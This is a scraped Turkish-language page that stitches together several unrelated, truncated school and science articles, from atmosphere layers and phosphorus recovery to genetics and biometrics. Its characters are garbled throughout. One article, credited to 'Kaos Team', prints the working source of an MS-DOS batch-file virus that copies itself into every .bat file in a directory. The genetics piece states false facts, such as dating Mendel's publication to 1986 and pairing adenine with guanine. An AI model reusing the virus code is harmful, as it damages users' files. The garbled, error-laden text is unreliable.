�yonosfer: Yer kabu�undan itibaren yakla��k 80 km. yukar�da ba�layan katmand�r. Ortalama kal�nl�� 250-300 km. kadard�r. atmosferin bu katman�nda gazlar seyrek ve iyon halinde bulundu�undan iyonosfer ad� verilmi�tir. Bu tabaka radyo dalgalar�n�n yay�lmas�n� kolayla�t�r�r. Bu nedenle haberle�mede iyonosferden yararlan�l�r.

Eksosfer (d�� k�re): Atmosferin en d�� katman�n�n olu�turur. Eksosferde baz� gaz molek�lleri yer �ekiminin kuvvetinin etkisinden kurtularak uzaya ka�ar. Bu nedenle �st s�n�r�n� tespit etmek zordur. Bu tabakan�n yerden 10 000 km y�ksekli�e kadar ula�t�� tahmin edilmektedir.

Atmosferde bulunan gazlar�n oranlar� ��yledir:
%78
%21
%1 den az di�er gazlar (argon, hidrojen, neon, helyum vb.). Bunlar atmosferi olu�turan ve oranlar� de�i�meyen temel gazlard�r. Atmosfer hacminin bir b�l�m�n� de karbondioksit, su buhar� ve atmosfer tozlar� olu�turur. Bunlar�n miktar� de�i�ebilir.

Havadaki bu gazlardan oksijen, azot ve karbon dioksit canl�lar i�in �ok �nemlidir. Canl�lar solunum i�in oksijene gereksinim duyar. Oksijen besinlerin yan�p, enerjiye d�n��mesinde kullan�l�r.

Azot, oksijen gaz�n� seyreltir. Hem solunuma yararl� hale getirir, hem de ani yanmalar� �nler. Ayr�ca azot, proteinli besin maddelirinin yap�lmas� i�in gereklidir. Havadaki azot, azot ba�lay�c� bakteriler taraf�ndan topra�a ge�er. Bitkiler fotosentez sonucunda prot

B�YOLOJ�K ARITMA S�RE�LER�NDE FOSFORUN GER� KAZANIMI

9/7/2010

B�YOLOJ�K ARITMA S�RE�LER�NDE FOSFORUN GER� KAZANIMI

��NDEK�LER ............................................................................................................. i
�ZET ......................................................................................................................iii
ABSTRACT................................................................................................................ iv
TE�EKK�R................................................................................................................. v
S�MGELER D�Z�N� ................................................................................................... vi
�EK�LLER D�Z�N�....................................................................................................vii
��ZELGELER D�Z�N� ................................................................................................ x
1 G�R�� ............................................................................................................ 1
2 KAYNAK B�LG�S� ...................................................................................... 4
2.1 Fiziksel ve Kimyasal Y�ntemlerle Fosfor Giderimi ..................................... 4
2.2 �leri Biyolojik Fosfor Giderimi ..................................................................... 5
2.3 Fosfor Geri Kazan�m�.................................................................................. 10
2.3.1 Presipitasyon ve ��z�nme .......................................................................... 10
2.3.2 Kalsiyum Fosfat Presipitasyonu.................................................................. 14
2.3.3 Kalsiyum Fosfat Bile�iklerinin Olu�umu ve ��z�n�rl�� ......................... 21
2.3.4 Struvit Presipitasyonu .................................................................................25
2.4 Fosfor Geri Kazan�m Prosesinin Pratik Aplikasyonlar�.............................. 31
2.4.1 DHV Kristal Reakt�r� ................................................................................31
2.4.2 RIM-NUT �yon De�i�tirici Prosesi............................................................. 34
2.4.3 Unitika Phosnix Prosesi .............................................................................. 36
2.4.4 Kurita Sabit Yatakl� Kristalizasyon Kolonu ............................................... 37
2.4.5 CSIR Ak��kan Yatakl� Kristalizasyon Kolonu............................................ 38
2.5 Fosfor Geri Kazan�m� ile �lgili Yap�lm�� Di�er �al��malar........................ 40
3 MATERYAL VE METOT ......................................................................... 43
3.1 Deneysel �al��malarda Kullan�lan Cihazlar ve Yap�lan Analizler ............. 43
3.2 Anaerobik Kademe �st Sular�ndaki Konsantre Fosfatlar�n Kimyasal
��keltimi..................................................................................................... 47
3.3 Yapay Ortamda Struvit Presipitasyonu �al��malar� ................................... 50
4 BULGULAR...............................................................................................53
4.1 Apatit Presipitasyonu ile Fosfor Geri Kazan�m �al��malar�....................... 53
ii
4.1.1. 20*C S�cakl�kta Yap�lan Presipitasyon �al��malar� .................................... 53
4.1.2 25*C S�cakl�k De�erinde Yap�lan Presipitasyon Denemeleri ..................... 63
4.1.3 Apatit Presipitasyonunda Bentonitin Kilinin �ekirdek Materyali olarak
Kullan�lmas� ................................................................................................ 72
4.1.3.1 20*C S�cakl�kta Yap�lan Presipitasyon Denemeleri.................................... 72
4.1.3.2 25*C S�cakl�kta Yap�lan Presipitasyon Denemeleri.................................... 76
4.1.4 Olu�an Tortular �zerinde Yap�lan Analizler .............................................. 81
4.2 Struvit Presipitasyonu ile Yapay Ortamdan Fosfor Geri Kazan�m
�al��malar� ..........................................

B�YOMETR� VE B�YO�STAT�ST�K

9/7/2010

�statistik kelimesi g�nl�k ya�amda belirli bir amaca hizmet etmek �zere derlenmi� verileri ifade etmek i�in kullan�lmaktad�r. 2003 y�l� ihracat istatistikleri, 2004 y�l� trafik kazalar� gibi.
�statistik bilimi temel olarak verilerin toplanmas�, i�lenmesi, analizi ve yorumlanmas� ile ilgilenir.

Tam Say�m ve �rnekleme
Ara�t�rmada �rneklem yerine kitleye ait veriler kullan�l�yorsa tam say�m yap�l�yor demektir. �rne�in genel n�fus say�lar� gibi.
Ara�t�rma kitle yerine kitleden �e�itli y�ntemler ile se�ilen denekler �zerinde yap�l�yorsa bu durumda �rnekleme i�lemi yap�l�yor demektir.
�rnekleme Y�ntemleri
Olas�l��a ba�l� olmayan
Olas�l��a ba�l�
- Basit rasgele
- Tabakal� rasgele
- Sistematik
- K�meleme

V�RUSLER HAKKINDA HER�E

9/7/2010

Virusler Hakk�nda Her�ey

Vir�s nedir diye konumuza ba�l�yorum sevgili bilgisayar kulan�c�lar� vir�sler bilgisayar ortamlar�na ka�ak olarak giren k��k programlard�rsisteme girdiklerinde co�al�rlar ve t�m sistemi ele ge�irirler vir�sler kimilerine g�re canl�d�r ��nk� yapay zekalar� olduklar� ve �reme i� g�d�leri oldugundan canl� olduklar� d��n�l�r
tabi bu tart��l�r biz Kaos Team olarak bu yaz�da bahsedecegiz vir�slerden nas�l korunuruz veya nas�l kurtuluruz.konuya girmeden �nce vir�sler hak�nda bilgi edinelim b�ylece bula�ma yolar�n�da
�grenebiliriz.

herhangi bir yaz�l�m�n vir�s olabilmesi i�in en az �u kriterleri saglamas� gerklidir:
1.�al��t�r�labilir olmal�
2.kendi kendilerine cogalmas�
3.diger �al��abilir opjeleri kendi kolanisine �evirebilmesi
Bir bilgisayar vir�s� yazamk �ok kolayd�r a�ag�da verdigimiz vir�s�n
kaynak kodudu (batch file vir�s)n�n kaynak kodudur bu yaz�l�m ms-dos i�letim sisteminin bacth file yaz�lm��t�r
bu bir vir�s yaz�l�m�d�r yaln�zca vir�slerin komutlar�ndan olu�an bir yaz�l�m� oldugunu g�stermek amac�yla verilmi�tir
l�tfen �aka ama�lada olsa bu yaz�l�m� kimseye uygulamay�n�z zaten her vir�s koruma program�
tan�ya bilmekte eski bir vir�s yaz�l�m�d�r.

KAOS TEAM (BFV) KAYNAK KODU

echo The Batch Filr Virus (BFT.BAT)
echo Osborne/McGraw-Hill ``Computer Vir�s Handbook`` kitab�ndan
echo -Bu purogram, bilgisayar virislerinin nas�l �al��t�klar�n� ve
echo bir bilgisayar virisin�n ne kadar kolay oldugunu
echo gostermektedir.
echo -Bulunulan dizin:
cd
echo -
echo UYARI! BU PROGRAM, BULUNULAN D�Z�NDEK� B�T�N .BAT DOSYALARINA
echo BULA�IR. BULA�TIGI .BAT DOSYALARI D�GER .BAT DOSYALARINI DA
echo ETK�LER! BU PROGRAMI �ALI�TIRMAKLA B�T�N .BAT DOSYALARINIZI
echo BOZAB�L�RS�N�Z!
echo -
echo L�tfen bu program� �al��t�rmadan �nce b�t�n .BAT dosyalar�n�z�
echoyedekleyiniz. Eger nas�l yedekleme yap�lacag�n� bilmiyorsan�z
echo bu program� �al��t�rmay�n.
echo -
echo Yukardaki a��klamalar� anlad�ysan�z devam etmek i�in
echo herhangi bir tu�a; programdan ��kmak i�in ^C tu�lar�na bas�n�z.
pause nul
cls
echo Bulunulan dizin
cd
echo Dizindeki b�t�n .BAT dosyalar�na bula��yorum...
ctty nul
for % %f in (*.bat) do copy % % f + bfv.bat
ctty con
cls
echo Bu dizindeki b�t�n .BAT dosyalar�na Batch File Vir�s�
echo bula�m��t�r. Bu vir�s� temizlemek i�in yedeklediginiz .BAT
echo dosyalar�n� yerlerine kopyalay�n�z.

�imdi vir�s �e�itlerini s�ral�yacaz

Kulland�klar� teknikler �ok �e�itli olsa da, vir�sler pratikte kabaca Dosya ve Boot vir�sleri olarak ikiye ayr�l�rlar. Vir�s deyince genelde akla ilk gelen dosya vir�sleridir. Ama s�k rastlanan bir�ok vir�s�n boot vir�s� oldu�unu da hat�rlatmakta fayda var. Bir Cansuyu, Crazy Bootu, eskilerden Ping-Pongu kim unutabilir ki?
Boot Vir�sleri. Disketlerin ve sabit disklerin boot sekt�rlerine yerle�irler. Bilgisayar a��ld��nda veya s�f�rland��nda (resetlendi�inde) disketin veya sabit diskin boot sekt�r�ndeki y�kleyici program otomatik olarak �al��t�r�l�r. Daha sonra i�letim sistemi y�klenir ve bilgisayar normal kullan�ma ba�lan�r. Boot vir�sleri, boot sekt�r�ndeki y�kleme program�nda de�i�iklik yaparak kendilerini otomatikman �al��t�r�rlar. B�ylece aktif hale gelirler ve bilgisayar kapat�lana kadar bula�maya devam ederler.

Dosya Vir�sleri. Dosya vir�sleri genelde vir�s deyince akla gelen vir�s t�r�d�r. Bunlar birer asalak gibi kendilerini program�n sonuna eklerler. Program�n ba��nda da de�i�iklik yaparak, program �al��t�r�ld��nda ilk �nce kendileri �al��rlar. RAM belle�e bir TSR gibi yerle�irler ve bilgisayar kapat�lana kadar bula�maya devam ederler. Genelde EXE ve COMlara bula��rlar. Baz�lar�n�n SYS, OVL ve BIN gibi program kodu dosyalar�na bula�t�� da g�r�lm��t�r. �o�u yaln�zca �al��t�r�lan program dosyalar�na bula�makla birlikte, Yandan �arkl� vir�s� gibi olanlar� �al��t�r�lmayanlara da bula��rlar.

Vir�s�ms�ler. Vir�slere benzeyen fakat vir�s olmayan bir�ok program t�r� vard�r. Bunlar�n ortak �zelli�i bilgimiz d��nda �al��malar�d�r. �rne�in bombalar; bir program yaz�l

E�EL� �REME

9/7/2010

B�YOLOJ�YE G�R��:
Beslenme T�r�ne G�re Canl�lar:
Beslenme T�r�ne G�re Canl�lar:Beslenme T�r�ne G�re Canl�lar:
CANLILARIN SINIFLANDIRILMASI :
CANLILARIN ORTAK �ZELL�KLER� :
- H�CRE
- ADAPTASYON
- BESLENME
- HAREKET VE �RK�LME
-METABOL�ZMA
-�EK�L
-DNA VE ENZ�MLER
-�REME
-H�CRE B�L�NMES�
-SOLUNUM

Beslenme T�r�ne G�re Canl�lar:

Ototrof Canl�larda Enerji Elde Edimi :
Sistematik S�n�fland�r�lmas� :
Canl�lar� tan�mlama, adland�rma ve benzer �zelliklere g�re grupland�rmad�r. �ki �e�lt s�n�fland�rma vard�r.

1-Ampirik s�n�fland�rma
2-Filogenetik (Do�al ) s�n�fland�rma

Ampirik s�n�fland�rma M.�. 350 y�l�nda Aristo taraf�ndan yap�lm��t�r. �ok y�zeysel bir s�n�fland�rma oldu�u i�in bug�n kullan�lmamaktad�r. Aristo, bitkileri ot, �al�, a�a�, hayvanlar� ise suda, karada ve havada ya�ayanlar olarak s�n�fland�rm��t�r.

1-Ampirik S�n�fland�rma

2-Filogenetik (Do�al) S�n�fland�rma:
Bug�n kullan�lan s�n�fland�rma filogenetik (do�al) s�n�fland�rmad�r. Bu s�n�fland�rmada canl�lar, anatomik, biyokimyasal, kal�tsal ve evrimsel �zelliklerine g�re grupland�r�l�r. Burada esas olan, canl�lar aras�ndaki akrabal�k derecelerinin tayin edilmesidir. Filogenetik s�n�fland�rmada �e�itli konular ele al�n�r. Bunlar evrim, homolog organlar ve protein benzerli�idir.
Evrim:
Evrim, canl�lar�n uzun bir zaman i�inde basitten karma��a do�ru geli�meleridir. Canl�lar�n akrabal�klar�n� tayin ederek ortak �zelliklerine g�re grupland�r�lmalar�nda, onlar�n basit veya karma��k yap�da olmalar� �nemlidir.

Homolog Organlar:
Orijinleri (temel yap�lar�) ayn�, g�revleri farkl� olan organlard�r. Canl�lar�n homolog organlar�n�n �oklu�una bak�larak akrabal�k dereceleri tayin edilebilir
Analog Organlar: Orjinleri (temel yap�lar�) farkl�, g�revleri ayn� olan organlard�r.
Protein Benzerli�i : Akrabal�k derecesi ne kadar yak�nsa proteinleri o kadar benzerdir.

Kan Proteinleri
Enjeksiyon

KAN KAN

Antijen + antikor = Aglutinasyon
(��ken) (��kt�ren) (��kme)
X antijeni = Buna kar�� antikor olu�maz, ��nk� ayn� antijen B"de de var
Y antijeni + Y antikoru = ��kme (+)
Z antijeni + Z antikoru = ��kme (+)
T antijeni + T antikoru = ��kme (+)

S�n�fland�rma Birimleri:
S�n�fland�rman�n en k��k birimi olan t�r tan�m�, ilk defa John Ray taraf�ndan ortaya at�lm��t�r. T�r, birbirleri ile �iftle�ebilen ve verimli, yani k�s�r olmayan d�ller verebilen ve yap� bak�m�ndan ortak bir k�kenden gelen bireyler toplulu�udur. �rne�in, at ve e�ek birer t�r iken, bunlar�n �iftle�mesi sonucu ortaya ��kan kat�r bir t�r say�lmaz. ��nk� kat�r k�s�rd�r. Linne, her bir t�re, bir cins ve bir tan�mlay�c� addan olu�an Latince birer ad vermi�tir. Bu adland�rmaya binomial adland�rma (ikili adland�rma) denir. Bu adland�rmada cins ad� b�y�k harfle, tan�mlay�c� ad ise k��k harfle yaz�l�r. Bu her iki ad birlikte t�r ad�n� belirler. S�n�fland�rma birimlerinin en b�y�k birimden en k��k birime do�ru s�ralanmas� �ekildeki gibidir.
S�n�fland�rma Basamaklar�:

Prokaryot H�creliler (Monera Alemi):
Bu gruptaki canl�lar�n hepsi tek h�crelidir. Bu h�crelerde �ekirdek yoktur. Ayr�ca mitokondri, kloroplast, golgi v.b.zarl� organeller de bulunmaz. Prokaryot h�creler, iki alt grupta incelenir:

1-Mavi -Ye�il Algler :
-Genellikle koloniler halinde ya�arlar.
-Fikosiyanin maddesinden dolay� mavi, klorofilden dolay� da ye�il g�r�n�rler.
-Oksijenli solunumla enerji �retirler.
-Fotosentezle organik besin �retirler.
-Elektron ta��ma sistemi ve fotosentez enzimleri, mavi-ye�il alglerin sitoplazmas�nda bulunur. (Mezozom)

2-Bakteriler:
T�m bakteriler prokaryot h�crelerdir. Bu y�zden zarl� organelleri bulunmaz. Bakteriler konusu 6 alt ba�l�kta incelenebilir.

-Bakterilerin Yap�s�
-Bakterilerde Endospor
-Bakterilerin �remesi
-Bakterilerin Grupland�r�lmas�
-Sterilizasyon
-Ba��kl�k
Bakterilerin Yap�s�:
Bakterilerin sitoplazmalar� i�inde DNA, RNA, ribozomlar, glikojen, protein ve ya� tanecikleri ile glikoliz enzimleri gibi metabolizma enzimleri bulunur.
DNAlar�n�n etraf�nda protein tabakas� v

B�YOLOJ� V�R�SLER

9/7/2010

V�R�SLER
�ok k��k mikroorganizmalard�r. Uzun s�re bilim adamlar�n�n dikkatini �ekmemi�tir. Meydana getirdi�i hastal�klar hep bakterilerden bilinmi�tir. Elektron mikroskobunun bulunmas�yla ancak vir�slerin fark�na var�lm��t�r.
�lk olarak t�t�n bitkisinin yapraklar�nda hastal�k meydana getiren vir�s bulunmu�tur. Daha �nce t�tnlerde bu hastal��n bakteriler taraf�ndan meydana getirildi�i san�l�yordu, fakat incelemelerin hi� birisinde bakteriye rastlanm�yordu. Hasta t�t�n yapraklar�ndan elde edilen �z�t�n elektron mikroskobuyla incelenmesinden sonra hastal��n bakteri d��nda yeni bir mikroorganizma taraf�ndan meydana getirildi�i g�r�ld�. Bu mikroorganizmalarda daha �nce hi� rastlan�lmayan ve bilinmeyen bir yap� ortaya ��kt�. Normal h�cre yap�s�na bemzemeyen vir�slerde sadece d�� taraf�nda bir protein k�l�f ve i�erisinde n�kleik asit vard�. Bunlar�n d��nda stoplazma, organel gibi yap�lar bulunmuyordu. Bu yap�da onlar�n zorunlu parazit ya�amalar�n� gerektiriyordu.
Evet, bir vir�s�n yap�s� sadece d��ta bir protein k�l�f ve i�erisinde n�kleik asitten meydana gelir. Herhangi bir organeli ve enzimleri olmad�� i�in normal bir h�cre gigi ya�amlar�n� s�rd�rebilmeleri olanaks�zd�r. Ya�amsal faliyet (�reme gibi) g�sterebilmek i�in mutlaka canl� bir h�creye girmeleri gerekir. H�cre d��nda ise kristal halde bulunurlar. Bu y�zden bilim adamlar� taraf�ndan cans�zl�k ile canl�l�k aras�nda ge�i� formu olarak kabul edilirler.
Vir�sler k�re, �ubuk ve elips �eklinde olabilirler. Bulundurduklar� n�kleik asit tek �e�ittir. Yani ya sadece DNA yada sadece RNA bulundururlar. Ayn� zamanda �ok ta spesifiktirler. Sadece belirli h�crelere girerler. Bir kuduz vir�s� sadece beyin h�crelerine, u�uk vir�s� sadece a��z civar�ndaki epitel doku h�crelerine bir bakteriyofaj sadece belirli bakteri t�rlerine, AIDS vir�s� sadece kandaki akyuvar h�crelerine gibi.
Vir�s h�creye tutundu�unda ilk �nce h�crenin zar�n� eritir. Dha sonra bu delikten i�eriye kendi n�kleik asitini ak�t�r. H�creye giren vir�s n�kleik asiti derhal y�netimi ele ge�irerek h�creyi kendi hesab�na �al��t�rmaya ba�lar. �lk �nce kendi n�kleik asitlerinin kopyalar�n� arkas�ndan da protein k�l�flar�n� sentezlettirir. Daha sonra bunlar� birle�tirerek y�zlerce vir�s olu�mas�n� sa�lar. H�cre i�erisindeki vir�sler h�creyi patlatarak d��ar� ��kar ve yeni h�crelere sald�r�rlar. Yap�lar�ndan dolay� ve h�cre i�erisinde bulunduklar�ndan antibiyotik t�r� ila�lardan etkilenmezler.

BAKTER�LER
GENEL �ZELL�KLER�
Monera alemini olu�turan prokaryot canl�lar�n en yayg�n ve en �ok bilinen grubu bakterilerdir. O kadar yayg�nd�r ki bug�n d�nyam�zda bakterinin bulunmad�� yer yoktur diyebiliriz. En �ok organik at�klar�n bol bulundu�u yerlerde ve sularda ya�arlar. Bununla beraber, -90 0C buzullar i�inde ve +80 0C kapl�calarda ya�ayabilen bakteri t�rleri de vard�r. Hava ile ve su damlac�klar� ile �ok uzak mesafelere ta��nabilirler. Deneysel olarak ilk defa 17. y�zy�lda bakterileri g�zleyebilen ve onlar�n �ekillerini a��klayan Antoni Van L�venhuk olmu�tur. Bakteriler b�t�n hayatsal olaylar�n ger�ekle�ti�i en basit canl�lard�r. Hepsi mikroskobik ve tek h�crelidirler. B�y�kl�kleri normal �karyotik h�crelerin mitokondrileri kadard�r.
H�CRE YAPISI
Prokaryot olduklar�ndanzarla �evrili �ekirdek, mitokondri, kloroplast, endoplazmik retikulum, golgi gibi organelleri yoktur. Ribozom b�t�n bakterilerin temel organelidir. DNA, RNA, canl� h�cre zar� ve stoplazmayine b�t�n bakterilerintemel yap�s�n� olu�turur. Bunlara ek olarak b�t�n bakterilerde h�cre, cans�z bir �eperle (murein) sar�l�d�r. �eperin yap�s�, bitki h�crelerinin �eperinden farkl�d�r. Sel�loz ihtiva etmez.
Baz� bakterilerde h�cre �eperinin d��nda kaps�l bulunur. Kaps�l bakterinin diren�lili�ini ve hastal�k yapabilme (patojen olma) �zelli�ini art�r�r.

GENEL B�R BAKTER� �EKL�

Baz� bakteriler kam��lar�yla aktif hareket edebilirken, baz�lar� kam��lar� olmad�� i�in ancak bulunduklar� oetamla beraber pasif hareket edebilirler.
buna g�re bakteriler, kam��s�z, tek kam��l�,

GENET�K ALANDAK� GEL��MELER HAYATI NASIL ETK�LEYEB�L�R

9/7/2010

GENET�K ALANDAK� GEL��MELER HAYATI NASIL ETK�LEYEB�L�R
Genetik kal�t�m birimi olarak da bilinir.Kal�t�m yasalar�n� ,�zellikle de genleri konu alan bilim dal�d�r.�nsanlar kal�t�m�n etkilerini �ok eski �a�larda g�zlemledikleri,hatta bitki ve hayvan �slah�nda uygulad�klar� halde, kal�t�m mekanizmas�n�n bilimsel a��klamas� olduk�a yak�n tarihlere rastlar.�a�da� genetik bezelyeler �st�ndeki �aprazlama deneyleriyle kal�t�m temel yaslar�na ula�an Avusturyal� ke�i� Gregor Mendel"in �al��malar�yla ba�lam��t�r. Mendel �aprazlamayla elde etti�i bitkinin inceledi�i her �zelli�inin,�aprazlanan bitkilerin her ikisinden gelen birer etkenin birikiminden kaynakland�� sonucuna varm��t�r. Daha sonra, bu etkenlerden baz�lar�n�n di�erlerine ba�at oldu�una ve ana� bitkinin her etken �iftindeki tek bir etkeni yeni d�llerle rasgele aktard��na, bu nedenle ilk bitkiden gelen etkenlerin d�llerde kar��mad��na karar verdi.1986"da bulgular�n� yay�mlad� fakat biyoloji bilimlerinde d�n�m noktas� olan bu �al��ma ancak 1900 y�l�nda birbirlerinden habersiz �� ara�t�rmac�n�n bulmalr�yla �nemi anla��ld�. Yeni do�an genetik bilimi h�zla geli�ti.1902"de ABD"li Walter Sutton, Mendelin s�z�n� etti�i kal�t�m materyalinin �ekirdekteki kromozomlarda bulundu�unu �ne s�rd�.1909"da Danimarkal� genetik�i Wilhem Ludwing Johannsen .Fenotip ve genotip gibi iki �nemli kavram� tan�mlad� ve Mendel"in kal�t�m etkenleri i�in terimini �nerdi.1910"da ABD"li genetik�i Hunt Morgan sirke sine�i �st�nde �al��maya ba�layarak genlerin kromozomlarda bulundu�unu, �stelik ayn� kromozomda birbirine yak�n olan genlerin ba�lant� grubu olu�turarak birlikte aktar�ld��n� g�sterdi.Par�a al�� veri�i denilen bir s�re�le kromozom �iftleri aras�nda gen de�i� toku�u oldu�unu kan�tlayan da Morgan"d�r.1940"larda ABD"li iki genetik�i,George W. Beadle ile Edward L. Tatum ,genlerin h�cre i�indeki kimyasal tepkimelerde kataliz�r rol� oynayan proteinler(enzim) yap�m�n� y�nlendirerek kal�t�m� belirledi�ini kan�tlad�lar.1944"te Osward T. Avery,kromozomlar�n genetik bilgiyi ta��yan bile�eninin dezoksiribon�kleik asit(dna)oldu�unu g�sterdi.DNA"n�n molek�l yap�s� ise 1953"te ABD"L� James D. Watson ile �ngiliz H. C. Crick"�n ortak �al��malar�yla ayd�nlat�labildi.1961"de Frans�z genetik�i Fran�ois Jacob ile Jacques Monod, DNA"n�n bakteri h�crelerinde protein bire�imini nas�l y�nlendirdi�ini a��klayan bir model geli�tirdiler. Bu �al��malar DNA molek�l�nde kay�tl� olan genetik kodun ��z�lmesini, bu da genetik m�hendisli�i i�in s�n�rs�z bir potansiyel ta��yan DNA birle�imleme tekniklerinin geli�tirilmesini sa�lad�. Bug�n kal�t�ma ili�kin bir�ok sorunla ilgilenen �a�da� genetik bilimi yaln�z biyolojinin �e�itli dallar�yla de�il,kimya,fizik,matematik,sosyoloji,psikoloji,t�p gibi ba�ka bilimlerle de i� i�e ge�mi� engin bir inceleme alan�d�r. Geneti�in b�t�n dallar�n�n temeli olan klasik genetik,�zellikle ba�at,�ekinik,bast�r�lm�� ya da �okgenli kal�tsal �zelliklerin nas�l aktar�ld��n� ve fenotipte nas�l d��avurdu�unu inceler.T�m bu kal�tsal �zellikleri ta��yan genetik �ifreyi yak�ndan tan�mak gerekmektedir:
Gen:
DNA, h�cre �ekirdeklerinin hepsinde bulunan kromozomlar� olu�turur.Her bir kromozonda, tek,uzun bir DNA molek�l� vard�r. Bir DNA molek�l�n�n belirli bir genetik �zellik i�eren kesitine GEN ad� verilir. Her bir h�crenin DNA merdiveni hem anneden hem babadan gelen genleri i�erir.Merdivenin basamaklar�,timin (T), adenin (A), sitozin (C), ve guanin ( G),ad� verilen bazlar�n kusursuz d�zenlenmesiyle olu�ur.Her bir a�aman�n tamamlanmas� i�in bir baz �ifti, belirli bir kombinasyonla e�le�ir. T her zaman A ile, A da her zaman G ile e�le�ir. Buna kar��l�k, C herzaman G ile ve G de her zaman C ile e�le�ir. BU e�le�me, DNA"n�n kendini kopyala i�leminde �nemli rol oynar.

Genler, DNA"daki baz� kimyasal dizilimler olan n�kleotidlerden meydana gelmi�tir. DNA �ift sarmal�n�n dikkate de�er ve �nemli bir �zelli�i, molek�l� olu�turan zincirlerin birbirlerinden kolayl�kla ayr�labilmesi ve yeniden birle�ebilmesidir

AVU� �� ZELL�KLER�N�N SINIFLANDIRILMASINA DAYALI B�YOMETR�K TANIMA

9/7/2010

AVU� �� ZELL�KLER�N�N SINIFLANDIRILMASINA DAYALI B�YOMETR�K TANIMA

�ZET�E
Bu �al��mada, yeni bir biyometrik y�ntem olan avu� i�i izine g�re ki�ilerin
tan�nmas� �nerilmektedir. Avu� i�i �zelliklerinin belirlenmesi g�r�nt� i�leme ve
yorumlama olarak iki ana a�amadan olu�ur. G�r�nt� i�leme a�amas�nda s�ras� ile
avu� i�i (aya) s�n�rlar�n�n bulunmas�, g�r�nt�n�n ikile�tirilmesi, eldeki
parmaklar�n g�r�nt�den kald�r�lmas�, aya b�lgesinde t�m kenar bilgilerinin
�retilmesi, g�r�lt� bast�rma, inceltme ve g�r�nt�deki kenar bilgilerinde olu�an
kopukluklar� ve �atalla�malar� gidermek amac�yla onar�lmas� i�lemleri yap�l�r.
�ng�r�len algoritman�n g�r�nt� i�leme a�amas�n�n sonunda tan�ma modeli i�in
gerekli olan aya �izgi hatlar� belirlenir. �al��man�n ikinci a�amas�nda �n
s�n�fland�rma �zelli�i olarak g�r�nt� i�leme modelinin �retti�i aya
morfolojisindeki d�rt ana �izgi ele al�n�r. Sonra ise elde edilen bu �izgilerden
ili�kisel grafa dayal� model olu�turulmakta ve s�n�fland�rma yap�larak tan�ma
i�lemi ger�ekle�tirilir.
1. Giri�
�nsan�n tan�nmas� bir �ok bilim dal�n�n �nemli ara�t�rma konular�ndand�r. Buna
en iyi �rnek olarak su�lular�n bulunmas�nda kullan�lan kriminal tan�ma y�ntemleri
g�sterilebilir. Yorumlamaya dayal� ak�ll� tan�ma sistemlerinin tasar�m� yapay zeka
ara�t�rmac�lar�n� ilgilendiren �nemli konulardand�r [1, 2].
�nsan�n biyometrik �zelliklerinin tan�nmas�na y�nelik farkl� yakla��mlar s�z
konusudur. Bu yakla��mlar; sesin, el yaz�s�n�n ve insan�n fiziksel �zelliklerinin (y�z,
parmak izi, retina..vb) i�lenmesine dayal� olmaktad�r. Biyometrik yakla��mlarla
ki�ilerin kimlik saptamas�nda doktiloskopi"nin b�y�k �nemi vard�r. Doktiloskopi,
bireylerin parmaklar�ndaki izlerin morfoloji �zelliklerine g�re tan�nmas�yla u�ra�an
bilim dal�d�r. Kimlik tespitindeki ara�t�rmalar, �o�unlukla parmak izlerinin tan�nmas�
�zerinde yo�unla�m��t�r [3,4,5].
Parmak izi FBI"�n s�n�fland�rmas�na g�re 8 genel alt s�n�fa (D�z a��k yay, e�imli
yay, merkezden ��kan d�ng�, dirsekli d�ng�, d�z sarmal(helezonlu), merkez grup, �ift
d�ng� ve rasgele sarmal) b�l�nmektedir. Bu sekiz s�n�fland�rmada genellikle her ki�iye
ait on parmak bilgisi kullan�lmaktad�r[1]. Genel bi�imde, parmak izinin tan�nmas� da
di�er daktiloskopi y�ntemleri gibi a�a��daki a�amalar� i�ermektedir; g�r�nt�deki
kenarlar�n elde edilmesi, y�nl� g�r�nt�n�n hesaplanmas�, y�nl� g�r�nt�n�n
b�l�mlenmesi, ili�kisel graf�n olu�turulmas�, graf e�le�tirmesi ve s�n�fland�rma.
International XII. Turkish Symposium on Artificial Intelligence and Neural Networks - TAINN 2003
2
Anla��ld�� gibi, benzeri i�lemler �ok zaman almakta ve toplam hata oran�n�
y�kseltmektedir. �rne�in parmak izi i�in elde edilen y�ksek tan�ma ba�ar�s� genellikle
on parmak �zerinden tan�ma i�leminin ger�ekle�ti�indendir.
Tan�ma i�lemlerinin h�zland�r�lmas� amac�yla �n k�melemeye gerek
duyulmaktad�r. Kimlik tespitinde avu� i�i bilgileri yard�m� ile �n s�n�fland�rma
yap�larak tan�ma verimlili�inin art�r�lmas� ve daha k�sa s�rede ger�ekle�tirilmesi
m�mk�nd�r.
Avu� i�i, parmak ucu b�lgesine nazaran b�y�k g�r�nt� alan�na sahip olmas�na
kar��n morfolojik yap�s�ndan dolay� daha basit ve h�zl� bi�imde onar�labilmektedir.
Ayr�ca parmak izinin birim alandaki bilgi yo�unlulu�unun avuca oranla daha fazla
olmas�, veri taban� hacminin b�y�mesine, bilgisayara getirece�i y�k�n (zamansal ve
i�lemsel) artmas�na ve alg�lama verimlili�inin azalmas�na neden olmaktad�r [6]. Avu�
i�i �izgi bilgilerinde �ak��ma oldu�u durumlarda, s�n�flar i�erisinde parmak izine dayal�
arama i�lemi ger�ekle�tirilerek tan�ma s�recinin h�zland�r�labilece�i d��n�lmektedir.
Avu� i�inin tan�nmas�nda �nerilen sistemin a�amalar� �ekil1"de verilmi�tir.
�ekil 1. Avu� i�i �izgilerinin tan�nmas�n�n genel yap�s�
�al��mada �nerilen yakla��m�n g�r�nt� i�leme b�l�m�, avu� i�i (aya)
s�n�rlar�n�n bulunmas�, g�r�nt�n�n ikile�tirilmesi, eldeki parmaklar�n g�r�nt�den
kald�r�lmas�, aya b�lgesinde t�m kenar bilgilerini �retilmesi, g�r�lt� bast�rma, inceltme
ve g�r�nt�deki kenar bilgilerinde ol

B�YOTEKNOLOJ� VE B�OG�VENL�K �ZEL �HT�SAS KOM�SYONU RAPORU

9/7/2010

B�YOTEKNOLOJ� VE B�OG�VENL�K �ZEL �HT�SAS KOM�SYONU RAPORU

1. G�R��
Biyoteknoloji; canlõ organizmalarõn veya canlõlõ�õn molek�ler temellerini olu�turan
kavram ve i�leyi� kurallarõnõn kullanõmõ ile geli�tirilen teknolojileri ve teknolojik �r�nleri
kapsayan bir teknoloji alanõdõr. �nsanlõk tarihiyle e�de�er bir ge�mi�e sahip olan geleneksel
biyoteknoloji, son elli yõlda molek�ler biyoloji ve genetik alanlarõnda ger�ekle�en bilimsel
ilerlemeler sayesinde, yepyeni bir anlam ve �nem kazanmõ�tõr. Bu nedenle “biyoteknoloji”, ya
